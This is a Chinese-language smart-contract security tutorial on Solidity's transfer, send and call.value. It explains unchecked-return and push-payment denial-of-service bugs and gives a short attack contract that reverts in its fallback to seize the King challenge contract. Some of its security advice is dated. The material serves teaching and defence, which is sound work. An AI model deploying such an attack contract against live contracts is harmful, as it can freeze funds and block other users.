区块链安全—详谈合约攻击(四)
字数 1376 2025-08-22 18:37:15

智能合约转账函数安全详解

一、Solidity转账函数概述

在Solidity中,转账是以太坊智能合约中最基础也是最重要的操作之一。Solidity提供了三种主要的转账方式:

1. <address>.transfer()

  • 发送失败时会抛出异常并回滚状态
  • 提供2300 Gas限制,能有效防止重入攻击(Reentrancy)
  • 语法:addr.transfer(amount)

2. <address>.send()

  • 发送失败时返回false,不会回滚
  • 同样有2300 Gas限制
  • 语法:addr.send(amount)

3. <address>.call.value()()

  • 发送失败时返回false
  • 无Gas限制,容易导致重入攻击
  • 语法:addr.call.value(amount)()

重要关系

  • addr.transfer(y) 等价于 require(addr.send(y))
  • 使用sendtransfer时,接收合约必须定义fallback函数,否则转账会失败

二、常见安全问题及攻击模型

1. 未检查send/call返回值

问题代码示例

function sendToWinner() public {
    require(!payedOut);
    winner.send(amount);  // 未检查返回值
    payedOut = true;      // 即使转账失败也会执行
}

风险

  • send失败时(可能由于callstack深度或Gas不足),状态变量payedOut仍被设为true
  • 导致资金可能被其他函数(如withdrawLeftOver)错误提取

修复方案

if (winner.send(amount)) {
    payedOut = true;
} else {
    revert();
}

2. 多地址转账的竞态条件

问题代码示例

if (winner.send(1000) && loser.send(10)) {
    prizePaidOut = true;
} else {
    throw;
}

风险

  • winnerloser可以互相攻击,任何一方失败都会导致双方都无法获得奖励
  • 恶意合约可以通过故意使send失败来阻止对方获得资金

3. Push支付模式的安全隐患

问题合约示例

contract BadPushPayments {
    address highestBidder;
    uint highestBid;
    
    function bid() {
        if (msg.value < highestBid) throw;
        if (highestBidder != 0) {
            if (!highestBidder.send(highestBid)) { throw; }
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
    }
}

攻击方式

  • 攻击者可以部署一个在接收资金时主动抛出错误的合约
  • 当有人尝试出价更高时,send调用会失败,导致整个竞拍功能瘫痪

解决方案:改用Pull支付模式

contract GoodPullPayments {
    address highestBidder;
    uint highestBid;
    mapping(address => uint) refunds;
    
    function bid() external {
        if (msg.value < highestBid) throw;
        if (highestBidder != 0) {
            refunds[highestBidder] += highestBid;
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
    }
    
    function withdrawBid() external {
        uint refund = refunds[msg.sender];
        refunds[msg.sender] = 0;
        if (!msg.sender.send(refund)) {
            refunds[msg.sender] = refund;
        }
    }
}

三、经典攻击案例:King合约攻击

1. 合约代码分析

contract King is Ownable {
    address public king;
    uint public prize;
    
    function King() public payable {
        king = msg.sender;
        prize = msg.value;
    }
    
    function() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);  // 转账给前任King
        king = msg.sender;         // 更新King
        prize = msg.value;         // 更新奖金
    }
}

2. 攻击原理

  • 成为King后,当有人尝试取代你时,合约会先尝试通过transfer退还你的资金
  • 如果我们在fallback函数中主动抛出错误,transfer会失败并回滚整个交易
  • 这样任何人都无法取代你的King地位

3. 攻击合约

contract Attack {
    address instance_address = 目标合约地址;
    
    function Attack() payable {}
    
    function hack() public {
        instance_address.call.value(1.1 ether)();
    }
    
    function() public {
        revert();  // 主动抛出错误
    }
}

四、真实世界安全事件

1. Etherpot彩票合约漏洞

function cash(uint roundIndex, uint subpotIndex) {
    // ...省略检查代码...
    winner.send(subpot);
    rounds[roundIndex].isCashed[subpotIndex] = true; // 未检查send返回值
}

影响:当send失败时,奖金状态被错误标记为已支付,可能导致资金被错误提取

2. King of the Ether平台漏洞

currentMonarch.etherAddress.send(compensation);

问题:当Gas不足或callstack深度达到限制时,补偿金发送失败但王位仍被转移

五、安全建议

  1. 避免直接使用send

    • 优先使用transfer或检查返回值的call.value
  2. 严格检查返回值

    if (!addr.send(amount)) {
        revert();
    }
    
  3. 使用Pull支付模式

    • 让用户主动提取资金,而非合约主动推送
  4. 合理设置Gas

    addr.call.value(amount).gas(附加Gas)();
    
  5. 充分测试

    • 测试各种边界条件,特别是Gas不足和callstack深度的情况
  6. 处理失败情况

    • 为转账失败设计恢复机制,如重试或状态回滚
  7. 注意fallback函数

    • 接收合约必须实现fallback函数才能正常接收转账
    • 但fallback函数中不要包含可能失败的操作

通过遵循这些安全实践,可以显著降低智能合约中与转账相关的安全风险。

智能合约转账函数安全详解 一、Solidity转账函数概述 在Solidity中,转账是以太坊智能合约中最基础也是最重要的操作之一。Solidity提供了三种主要的转账方式: 1. <address>.transfer() 发送失败时会抛出异常并回滚状态 提供2300 Gas限制,能有效防止重入攻击(Reentrancy) 语法: addr.transfer(amount) 2. <address>.send() 发送失败时返回 false ,不会回滚 同样有2300 Gas限制 语法: addr.send(amount) 3. <address>.call.value()() 发送失败时返回 false 无Gas限制,容易导致重入攻击 语法: addr.call.value(amount)() 重要关系 : addr.transfer(y) 等价于 require(addr.send(y)) 使用 send 或 transfer 时,接收合约必须定义fallback函数,否则转账会失败 二、常见安全问题及攻击模型 1. 未检查send/call返回值 问题代码示例 : 风险 : 当 send 失败时(可能由于callstack深度或Gas不足),状态变量 payedOut 仍被设为true 导致资金可能被其他函数(如 withdrawLeftOver )错误提取 修复方案 : 2. 多地址转账的竞态条件 问题代码示例 : 风险 : winner 和 loser 可以互相攻击,任何一方失败都会导致双方都无法获得奖励 恶意合约可以通过故意使 send 失败来阻止对方获得资金 3. Push支付模式的安全隐患 问题合约示例 : 攻击方式 : 攻击者可以部署一个在接收资金时主动抛出错误的合约 当有人尝试出价更高时, send 调用会失败,导致整个竞拍功能瘫痪 解决方案 :改用Pull支付模式 三、经典攻击案例:King合约攻击 1. 合约代码分析 2. 攻击原理 成为King后,当有人尝试取代你时,合约会先尝试通过 transfer 退还你的资金 如果我们在fallback函数中主动抛出错误, transfer 会失败并回滚整个交易 这样任何人都无法取代你的King地位 3. 攻击合约 四、真实世界安全事件 1. Etherpot彩票合约漏洞 影响 :当 send 失败时,奖金状态被错误标记为已支付,可能导致资金被错误提取 2. King of the Ether平台漏洞 问题 :当Gas不足或callstack深度达到限制时,补偿金发送失败但王位仍被转移 五、安全建议 避免直接使用 send : 优先使用 transfer 或检查返回值的 call.value 严格检查返回值 : 使用Pull支付模式 : 让用户主动提取资金,而非合约主动推送 合理设置Gas : 充分测试 : 测试各种边界条件,特别是Gas不足和callstack深度的情况 处理失败情况 : 为转账失败设计恢复机制,如重试或状态回滚 注意fallback函数 : 接收合约必须实现fallback函数才能正常接收转账 但fallback函数中不要包含可能失败的操作 通过遵循这些安全实践,可以显著降低智能合约中与转账相关的安全风险。